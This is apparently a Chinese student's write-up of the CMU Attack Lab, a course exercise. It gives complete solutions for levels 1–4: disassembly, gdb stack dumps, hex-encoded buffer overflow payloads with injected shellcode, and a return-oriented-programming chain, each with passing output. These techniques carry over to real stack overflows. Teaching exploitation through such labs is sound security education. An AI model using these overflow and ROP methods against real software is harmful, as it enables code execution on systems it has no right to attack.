这节玩的是利用一个字符串进行缓冲区溢出漏洞攻击,就小时候想象中黑客干的事儿.
做题的时候好几次感叹这些人的脑洞,"这都可以攻击?还能这么注入?这还可能借力打力?"等自己注入的时候却是"啊?怎么又段错误了?怎么又算错地址了?"也是一次有趣的经历了.
小插曲:我拿到文件的时候直接去读得readme,看完了还迷惑这readme咋就这么点信息.后来知道了实验都要配合着writeup讲义看,不禁感叹我前两个实验没看讲义还能做出来真是个奇迹!
level1
第一步先反汇编拿到ctarget的代码
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff callq 4017a8 <getbuf>
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 retq
401991: 90 nop
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
在0x4017b9
打个断点,这时候创建了内容为This is a test str.
的文本文件in.txt,在gdb里用set args -qi in.txt
指定为输入源.让程序运行到断点,查看栈帧信息
(gdb) x/60xb 0x5561dc78
0x5561dc78: 0x54 0x68 0x69 0x73 0x20 0x69 0x73 0x20
0x5561dc80: 0x61 0x20 0x74 0x65 0x73 0x74 0x20 0x73
0x5561dc88: 0x74 0x72 0x2e 0x00 0x00 0x00 0x00 0x00
0x5561dc90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dc98: 0x00 0x60 0x58 0x55 0x00 0x00 0x00 0x00
0x5561dca0: 0x76 0x19 0x40 0x00 0x00 0x00 0x00 0x00
0x5561dca8: 0x09 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dcb0: 0x24 0x1f 0x40 0x00
(gdb) x/s 0x5561dc78
0x5561dc78: "This is a test str."
这里面的0x76 0x19 0x40
对应的就是返回地址,我们的目标就是把它修改为touch1入口的地址0x004017c0
.换成机器码就是0xc0 0x17 0x40 0x00
,注意是倒序哦.
从栈顶到要修改区域之间我用0x54
(ASCII中的‘T‘)填充之.我创建了一个exploit.txt,内容为
54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
c0 17 40 00 00 00 00
不要拘泥于后面那几个零.讲义里说了,多覆写几个字节不碍事
把这个文件交给hex2raw处理之
./hex2raw < exploit.txt > raw.txt
我用VSCode的hexdump插件检查了下正确性,然后把它丢进了ctarget里,测试之,正确.
./ctarget -qi raw.txt
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:54 54 ..... 54 C0 17 40 00 00 00 00
level 2
先来分析touch2的代码
void touch2(unsigned val)
{
vlevel = 2; /*Part of validation protocol*/
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
}
else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
很明显需要把cookie作为参数调用touch2,即先把cookie放入rdi,再ret.这里可把我卡住了,ret只能改rip,怎么改rdi呢?
热心网友的一句话点醒了我:先在栈帧里写好代码,再ret到栈帧的位置
我们要做的事情可以概括为
执行retq到栈帧顶
执行以下汇编代码:
mov cookie,%rdi
pushq touch2
retq
具体操作:
先在ex.s里写好汇编代码
movq $0x59b997fa,%rdi
pushq $0x4017ec
retq
先编译,再反汇编得到机器码
gcc -c ex.s
objdump -d ex.o > ex_dump.txt
ex_dump.txt:
ex.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3
gdb调试得读入字符串时栈顶地址为0x5561dc78
,根据这个地址和ex_dump.txt编写exploit.txt
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
生成raw文件,测试,通过
./hex2raw < exploit.txt > raw.txt
./ctarget -qi raw.txt
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68
EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
level 3
先来看讲义里的代码
/*Compare string to hex represention of unsigned value*/
int hexmatch(unsigned val, char*sval)
{
char cbuf[110];
/*Make position of check string unpredictable*/
char*s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char*sval)
{
vlevel = 3;
/*Part of validation protocol*/
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
}
else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
这一次我们要传入的参数是cookie对应的十六进制字符串,有趣的一点是为了防止我们直接获取s值当作参数,它加了一个random()运算.
有了第二关的经验,这关就很简单了,先仿照hexmatch求出cookie对应的十六进制字符串35 39 62 39 39 37 66 61 0
,然后把它塞到栈里,再把这个地址塞进rdi里.这里我把它塞到了0x5561dca8
ex.s:
movq $0x5561dca8,%rdi
pushq $0x4018fa
retq
exploit.txt:
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00
注意最终生成的raw文件里要避免中途出现0X0A
.
再来说我为什么要取0x5561dca8
,因为按我的汇编代码执行到touch3的时候栈顶会变成0x5561dca8
,如果在小于此地址的地方写数据在执行touch3的时候会被新压入栈的数据覆写掉
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68
FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39
62 39 39 37 66 61 00
level 4
初见fram.c的长度,我--傻--了.但冷静下来寻思,这个问题还是不难的.我们的目标可以概括为
movq $cookie,%rdi
ret touch2
而我们能用的语句只有pop,mov,nop这几种.所以要么直接把cookie传入rdi,要么借助pop间接传入rdi,即
popq %reg1
movq %reg1,%reg2
movq %reg2,%reg3
......
movq %regN,%rdi
ret touchw
借助讲义里的表格一番搜寻后发现能用的只有以下几个指令
这里只统计了movq,没统计普通mov
movq %rax,%rdi
movq %rsp,%rax
popq %rax
答案就出来了
popq rax => movq rax,rdi
剩下的就是手工算偏移,转换成十六进制了
exploit.txt:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
00
需要注意的一点是带q的操作数都是8字节的
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97
B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00
00 00
level 5
这一关就是体力活了,如讲义里所讲,这关并没有出现啥新机制,只是复杂版的level 4,不做也行.
随机栈虽然厉害,但只要通过ROP拿到了%rsp,照样是能被破解的.而上一关我们就提到了movq %rsp,%rax
,在加上还有个lea (%rdi,%rsi,1),%rax
,以及三十多个mov,所以解题思路就很明显了.
可这mov是三十多个啊!要一个个先转换出来再寻找通路,真就码农呗!我也就懒得做了.